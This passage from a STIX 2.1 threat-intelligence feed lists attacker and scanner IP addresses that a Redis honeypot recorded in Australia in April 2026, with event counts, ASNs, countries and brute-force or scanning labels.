      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.86.5.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:25:10.000Z",
      "valid_until": "2026-05-12T14:25:09.000Z"
    },
    {
      "created": "2026-04-10T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--eaf580dc-57cc-404b-b454-e70da311912b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-10T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:25:10.000Z",
      "valid_until": "2026-05-12T14:25:09.000Z"
    },
    {
      "created": "2026-04-10T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=20473; asn_org=The Constant Company, LLC; redis_cmds=INFO modules; redis_cmd_hits=0",
      "id": "indicator--18d6611b-b835-42bd-ac51-5ca3e1e5660e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.28.232.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:25:10.000Z",
      "valid_until": "2026-05-12T15:25:09.000Z"
    },
    {
      "created": "2026-04-10T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=BG; asn=213438; asn_org=ColocaTel Inc.; redis_cmd_hits=0",
      "id": "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:25:10.000Z",
      "valid_until": "2026-05-12T15:25:09.000Z"
    },
    {
      "created": "2026-04-10T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--5f430783-84ee-4bd2-b01a-c48a4885b621",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.168.124.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:25:10.000Z",
      "valid_until": "2026-05-12T17:25:09.000Z"
    },
    {
      "created": "2026-04-10T18:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--f9e103c2-5494-4119-b8ea-5d54734e3d82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '123.56.146.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:25:19.000Z",
      "valid_until": "2026-05-12T18:25:09.000Z"
    },
    {
      "created": "2026-04-10T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--c4ba10ea-1d65-48af-a605-0b71a5f2753b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T20:25:10.000Z",
      "valid_until": "2026-05-12T20:25:09.000Z"
    },
    {
      "created": "2026-04-10T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--04a51a95-7d5c-4f30-8bc5-7ac0b64c21f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T20:25:10.000Z",
      "valid_until": "2026-05-12T20:25:09.000Z"
    },
    {
      "created": "2026-04-10T21:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--836055fb-a07f-4d63-83fa-3e8d255b3823",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T21:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T21:25:11.000Z",
      "valid_until": "2026-05-12T21:25:09.000Z"
    },
    {
      "created": "2026-04-10T23:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.105.177.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:25:05.000Z",
      "valid_until": "2026-05-12T23:25:04.000Z"
    },
    {
      "created": "2026-04-11T00:25:15.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--5ef1cd45-cbb2-464e-a3b0-26ea78e0b925",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:25:15.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.80.83.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:25:15.000Z",
      "valid_until": "2026-05-13T00:25:13.000Z"
    },
    {
      "created": "2026-04-11T01:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4847; asn_org=China Networks Inter-Exchange; redis_cmd_hits=0",
      "id": "indicator--729a819c-9b83-44ac-95f9-d8ee6b66e6f1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-11T01:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '1.203.97.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:25:06.000Z",
      "valid_until": "2026-05-13T01:25:03.000Z"
    },
    {
      "created": "2026-04-11T04:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmd_hits=0",
      "id": "indicator--72c7f504-ebf5-4283-8cfc-40ec47ca5da6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T04:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '107.150.31.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T04:25:13.000Z",
      "valid_until": "2026-05-13T04:25:12.000Z"
    },
    {
      "created": "2026-04-11T05:25:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=57; ports=6379; cc=HK; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--2f5937b2-b984-4c17-a562-0a7388fc1f80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T05:25:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.185.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:25:20.000Z",
      "valid_until": "2026-05-13T05:25:18.000Z"
    },
    {
      "created": "2026-04-11T05:25:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--4959f6ac-5c82-47f5-8f22-3290787d8ca8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-11T05:25:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.183.96.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:25:20.000Z",
      "valid_until": "2026-05-13T05:25:18.000Z"
    },
    {
      "created": "2026-04-11T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=VN; asn=18403; asn_org=FPT Telecom Company; redis_cmd_hits=0",
      "id": "indicator--6c8dc422-96c3-480e-b803-2be99d31e9b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '210.245.79.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:25:10.000Z",
      "valid_until": "2026-05-13T08:25:09.000Z"
    },
    {
      "created": "2026-04-11T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--cefa8ced-6672-4a0d-93c1-e3f250f8169b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.197.101.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:25:10.000Z",
      "valid_until": "2026-05-13T10:25:09.000Z"
    },
    {
      "created": "2026-04-11T12:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmd_hits=0",
      "id": "indicator--eeaf8d0d-087f-4b60-85d2-4ed457a7d6f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.245.219.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:25:12.000Z",
      "valid_until": "2026-05-13T12:25:09.000Z"
    },
    {
      "created": "2026-04-11T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--4175dee4-9c3d-44bf-94aa-99a98cca022e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-11T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.255.242.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:25:11.000Z",
      "valid_until": "2026-05-13T13:25:10.000Z"
    },
    {
      "created": "2026-04-11T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--a6c87e35-4308-4931-b560-ada215349a3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:25:11.000Z",
      "valid_until": "2026-05-13T13:25:10.000Z"
    },
    {
      "created": "2026-04-11T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=RO; asn=47890; asn_org=Unmanaged Ltd; redis_cmd_hits=0",
      "id": "indicator--d8754914-e8dd-4922-9c02-c966adac1ea9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-11T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:25:11.000Z",
      "valid_until": "2026-05-13T13:25:10.000Z"
    },
    {
      "created": "2026-04-11T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--0598e181-ec0d-44a8-8574-460f8fd3ea8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.248.48.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T18:25:11.000Z",
      "valid_until": "2026-05-13T18:25:09.000Z"
    },
    {
      "created": "2026-04-11T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--51d4a14c-8f9c-4e25-bb92-cebb7cb1fb28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '137.184.96.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T18:25:11.000Z",
      "valid_until": "2026-05-13T18:25:09.000Z"
    },
    {
      "created": "2026-04-11T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=FR; asn=209334; asn_org=Modat B.V.; redis_cmds='GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--324b291b-d01b-4660-8b76-21c32084f1b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T18:25:11.000Z",
      "valid_until": "2026-05-13T18:25:09.000Z"
    },
    {
      "created": "2026-04-11T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=BR; asn=267062; asn_org=W-NET TELLECOM EIRELI ME; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--f286e528-3b9d-4fe9-9404-627f60874dc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.228.8.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T20:25:10.000Z",
      "valid_until": "2026-05-13T20:25:09.000Z"
    },
    {
      "created": "2026-04-11T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--4649b435-48c3-486d-8d48-19f8afc8f5a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.185.213.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T20:25:10.000Z",
      "valid_until": "2026-05-13T20:25:09.000Z"
    },
    {
      "created": "2026-04-11T22:25:35.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=DE; asn=197540; asn_org=netcup GmbH; redis_cmd_hits=0",
      "id": "indicator--25888c7b-23e2-4ad1-94b4-12f389ecb448",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-11T22:25:35.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.48.228.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T22:25:35.000Z",
      "valid_until": "2026-05-13T22:25:14.000Z"
    },
    {
      "created": "2026-04-12T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--c4bee7f6-4b9b-4689-bcb6-a8d27bec7eaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.53.106.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T00:25:10.000Z",
      "valid_until": "2026-05-14T00:25:04.000Z"
    },
    {
      "created": "2026-04-12T02:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--00ea72eb-fd65-4cf6-a122-7385bda7b2ac",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T02:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.119.209.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:25:12.000Z",
      "valid_until": "2026-05-14T02:25:09.000Z"
    },
    {
      "created": "2026-04-12T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--f0dc03fb-1b23-4966-9013-b967f8d1b984",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T04:25:10.000Z",
      "valid_until": "2026-05-14T04:25:09.000Z"
    },
    {
      "created": "2026-04-12T05:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--4a6acbc5-9a97-4103-a5fa-0ebbbf9a5867",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T05:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:25:05.000Z",
      "valid_until": "2026-05-14T05:25:03.000Z"
    },
    {
      "created": "2026-04-12T05:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--7986156b-54e5-4a7f-bb92-7e9db5040415",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T05:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.81.50.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:25:05.000Z",
      "valid_until": "2026-05-14T05:25:03.000Z"
    },
    {
      "created": "2026-04-12T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--a0d06db5-1ac6-4612-9f0c-4c30d5895c2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.163.15.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T08:25:10.000Z",
      "valid_until": "2026-05-14T08:25:09.000Z"
    },
    {
      "created": "2026-04-12T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--37a9e7d9-8c47-4386-a8e0-d6c674bff0a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T08:25:10.000Z",
      "valid_until": "2026-05-14T08:25:09.000Z"
    },
    {
      "created": "2026-04-12T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--be65d27e-8e1a-47a1-96e7-606d03b1b3a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T08:25:10.000Z",
      "valid_until": "2026-05-14T08:25:09.000Z"
    },
    {
      "created": "2026-04-12T11:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--dbd3aa41-6b24-4ad8-8bb9-8af9f6282143",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '36.133.212.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:25:17.000Z",
      "valid_until": "2026-05-14T11:25:09.000Z"
    },
    {
      "created": "2026-04-12T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:25:11.000Z",
      "valid_until": "2026-05-14T12:25:09.000Z"
    },
    {
      "created": "2026-04-12T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--fe7a58c1-699e-4708-a450-ec911d2dccfb",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:25:11.000Z",
      "valid_until": "2026-05-14T12:25:09.000Z"
    },
    {
      "created": "2026-04-12T13:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--27bd7d78-4692-4088-8ba6-e9e7bd1f616b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T13:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '97.107.141.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T13:25:16.000Z",
      "valid_until": "2026-05-14T13:25:15.000Z"
    },
    {
      "created": "2026-04-12T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=202425; asn_org=IP Volume inc; redis_cmd_hits=0",
      "id": "indicator--ffafaa18-14bd-4c40-a135-08974301211b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
